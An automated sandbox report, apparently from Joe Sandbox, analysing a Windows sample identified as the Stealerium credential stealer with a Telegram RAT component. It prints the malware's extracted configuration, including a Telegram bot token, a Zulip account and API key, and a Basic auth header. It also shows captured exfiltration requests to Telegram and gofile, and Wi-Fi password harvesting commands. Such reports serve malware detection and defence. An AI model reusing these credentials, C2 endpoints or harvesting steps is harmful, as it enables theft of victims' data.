Edit tour

Windows Analysis Report
yv7QsAR49V.exe

Overview

General Information

Sample name:	yv7QsAR49V.exe renamed because original name is a hash value
Original sample name:	0adf1cfd118c89091ddd89493989c01348ad74ee8e25c71f4a30c3400e511102.exe
Analysis ID:	1565203
MD5:	03a0e76a8c671d5d10caf9b73f17c2bb
SHA1:	7e426796a6a12dce6a30e6dd337974ca097c627d
SHA256:	0adf1cfd118c89091ddd89493989c01348ad74ee8e25c71f4a30c3400e511102
Tags:	exevirustotal-vm-blacklistuser-JAMESWT_MHT
Infos:

Detection

Stealerium

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Stealerium

Yara detected Telegram RAT

Yara detected Telegram Recon

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Drops password protected ZIP file

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

yv7QsAR49V.exe (PID: 7052 cmdline: "C:\Users\user\Desktop\yv7QsAR49V.exe" MD5: 03A0E76A8C671D5D10CAF9B73F17C2BB)

cmd.exe (PID: 6080 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 5716 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 1712 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 5880 cmdline: findstr All MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 5616 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6736 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 5272 cmdline: netsh wlan show networks mode=bssid MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 1412 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 5636 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

taskkill.exe (PID: 2044 cmdline: taskkill /F /PID 7052 MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

timeout.exe (PID: 6588 cmdline: timeout /T 2 /NOBREAK MD5: 100065E21CFBBDE57CBA2838921F84D6)

msiexec.exe (PID: 384 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealerium	According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actors addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.	No Attribution	https://github.com/Stealerium/Stealerium https://resources.securityscorecard.com/research/stealerium-detailed-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage", "Telegram Stream": [{"ok": true, "result": {"id": 7392736411, "is_bot": true, "first_name": "L\u01b0u Via Facebook", "username": "Luuvia_bot", "can_join_groups": true, "can_read_all_group_messages": false, "supports_inline_queries": false, "can_connect_to_business": false, "has_main_web_app": false}}]}

Threatname: Stealerium

{"C2 url": "https://szurubooru.zulipchat.com/api/v1/messages", "User": "szurubooru@gmail.com", "API key": "fgwT5umbrQdW6Y1buIWZJK6S2FVQZAeS"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
yv7QsAR49V.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
yv7QsAR49V.exe	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
yv7QsAR49V.exe	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
yv7QsAR49V.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
yv7QsAR49V.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x386093:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH.zip	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.2615455822.0000024A45ABE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.2615455822.0000024A45C6B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x21ba4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x385e93:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: yv7QsAR49V.exe PID: 7052	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
Process Memory Space: yv7QsAR49V.exe PID: 7052	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: yv7QsAR49V.exe PID: 7052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yv7QsAR49V.exe PID: 7052	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: yv7QsAR49V.exe PID: 7052	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1e5b36:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.yv7QsAR49V.exe.24a4591b838.0.raw.unpack	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
0.2.yv7QsAR49V.exe.24a4591b838.0.unpack	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
0.0.yv7QsAR49V.exe.24a436a0000.0.unpack	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
0.0.yv7QsAR49V.exe.24a436a0000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.0.yv7QsAR49V.exe.24a436a0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.yv7QsAR49V.exe.24a436a0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x386093:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 1 entries

Sigma Signatures

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\yv7QsAR49V.exe", ParentImage: C:\Users\user\Desktop\yv7QsAR49V.exe, ParentProcessId: 7052, ParentProcessName: yv7QsAR49V.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 6080, ProcessName: cmd.exe

Suricata Signatures

ET MALWARE Possible Generic RAT over Telegram API

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T12:18:56.898160+0100	2029323	1	Malware Command and Control Activity Detected	192.168.2.12	49731	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T12:18:47.338188+0100	2803305	3	Unknown Traffic	192.168.2.12	49721	104.16.184.241	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yv7QsAR49V.exe

Avira: detected

Found malware configuration

Source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Stealerium {"C2 url": "https://szurubooru.zulipchat.com/api/v1/messages", "User": "szurubooru@gmail.com", "API key": "fgwT5umbrQdW6Y1buIWZJK6S2FVQZAeS"}
Source: yv7QsAR49V.exe.7052.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage", "Telegram Stream": [{"ok": true, "result": {"id": 7392736411, "is_bot": true, "first_name": "L\u01b0u Via Facebook", "username": "Luuvia_bot", "can_join_groups": true, "can_read_all_group_messages": false, "supports_inline_queries": false, "can_connect_to_business": false, "has_main_web_app": false}}]}

Multi AV Scanner detection for submitted file

Source: yv7QsAR49V.exe

ReversingLabs: Detection: 64%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: yv7QsAR49V.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: yv7QsAR49V.exe	String decryptor: 7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM
Source: yv7QsAR49V.exe	String decryptor: -4549067482
Source: yv7QsAR49V.exe	String decryptor: https://api.telegram.org/bot
Source: yv7QsAR49V.exe	String decryptor: https://szurubooru.zulipchat.com/api/v1/messages
Source: yv7QsAR49V.exe	String decryptor: szurubooru@gmail.com
Source: yv7QsAR49V.exe	String decryptor: fgwT5umbrQdW6Y1buIWZJK6S2FVQZAeS

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.112.123.126:443 -> 192.168.2.12:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.244:443 -> 192.168.2.12:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 44.208.10.127:443 -> 192.168.2.12:49732 version: TLS 1.2

Source: yv7QsAR49V.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdb source: yv7QsAR49V.exe, 00000000.00000002.2623326463.0000024A5E3B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed\|\|\|Newtonsoft.Json.Bson.pdb\|8D66819B2D5D4D2CFADB7660B1869A81C5DB7E9F\|26968 source: yv7QsAR49V.exe
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed/icsharpcode.sharpziplib]costura.icsharpcode.sharpziplib.dll.compressed]costura.icsharpcode.sharpziplib.pdb.compressed;microsoft.bcl.asyncinterfacesicostura.microsoft.bcl.asyncinterfaces.dll.compressed5microsoft.bcl.timeproviderccostura.microsoft.bcl.timeprovider.dll.compressed)newtonsoft.json.bsonWcostura.newtonsoft.json.bson.dll.compressedWcostura.newtonsoft.json.bson.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdbSHA2567 source: yv7QsAR49V.exe, 00000000.00000002.2623326463.0000024A5E3B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr
Source:	Binary string: costura.costura.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: costura.wpf.ui.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: !costura.polly.core.pdb.compressed source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: polly9costura.polly.dll.compressed9costura.polly.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: polly.coreCcostura.polly.core.dll.compressedCcostura.polly.core.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: +costura.newtonsoft.json.bson.pdb.compressed source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: costura.wpf.ui.pdb.compressed\|\|\|Wpf.Ui.pdb\|299223DFCADFE8FD464F218CE110C10266AB22B0\|139288 source: yv7QsAR49V.exe
Source:	Binary string: .costura.icsharpcode.sharpziplib.pdb.compressed source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: /_/artifacts/obj/System.Text.Json/Release/net462/System.Text.Json.pdb source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.polly.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: /_/artifacts/obj/System.Text.Json/Release/net462/System.Text.Json.pdbSHA256 source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: yv7QsAR49V.exe
Source:	Binary string: costura.polly.pdb.compressed\|\|\|Polly.pdb\|6E4429D15FBCD96C44E391E109CB500EC2508333\|83400 source: yv7QsAR49V.exe
Source:	Binary string: costura.polly.core.pdb.compressed\|\|\|Polly.Core.pdb\|C1D3F2BA348EA2F6635B8F5961AD127E831487C6\|66148 source: yv7QsAR49V.exe
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed\|\|\|ICSharpCode.SharpZipLib.pdb\|E1FCA83029D1440F54FB3747B240365A6DF0A598\|121652 source: yv7QsAR49V.exe
Source:	Binary string: costura.polly.core.pdb.compressed source: yv7QsAR49V.exe
Source:	Binary string: wpf.ui;costura.wpf.ui.dll.compressed;costura.wpf.ui.pdb.compressed9 source: yv7QsAR49V.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://szurubooru.zulipchat.com/api/v1/messages

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/services_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/getMe HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servers HTTP/1.1Host: api.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /uploadfile HTTP/1.1Content-Type: multipart/form-data; boundary="686ae045-3350-483a-be65-d9e368970df2"Host: store5.gofile.ioContent-Length: 153577Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage?chat_id=-4549067482&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.5.1%20-%20Report%3A%2A%0ADate%3A%202024-11-29%206%3A18%3A31%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20124406%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20NVR6G%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%8D%93%20%2APorn%20websites%2A%20%28No%20data%29%0A%0A%F0%9F%8C%90%20%2ABrowsers%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks%3A%205%0A%0A%F0%9F%97%83%20%2ASoftware%3A%2A%0A%0A%F0%9F%A7%AD%20%2ADevice%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%F0%9F%A6%A0%20%2AInstallation%3A%2A%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%F0%9F%93%84%20%2AFile%20Grabber%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images%3A%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents%3A%2045%0A%0A%F0%9F%94%97%20%5BArchive%20download%20link%5D%28https%3A%2F%2Fgofile.io%2Fd%2FqxyGTh%29%0A%F0%9F%94%90%20Archive%20password%20is%3A%20%227c6288d908c36e92faae14c9d19be639%22%60%60%60&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/v1/messages HTTP/1.1Authorization: Basic c3p1cnVib29ydUBnbWFpbC5jb206Zmd3VDV1bWJyUWRXNlkxYnVJV1pKSzZTMkZWUVpBZVM=Content-Type: application/x-www-form-urlencodedHost: szurubooru.zulipchat.comContent-Length: 1650Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.184.241 104.16.184.241

Source: Joe Sandbox View

ASN Name: AMAZON-AESUS AMAZON-AESUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.12:49721 -> 104.16.184.241:80
Source: Network traffic	Suricata IDS: 2029323 - Severity 1 - ET MALWARE Possible Generic RAT over Telegram API : 192.168.2.12:49731 -> 149.154.167.220:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/services_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
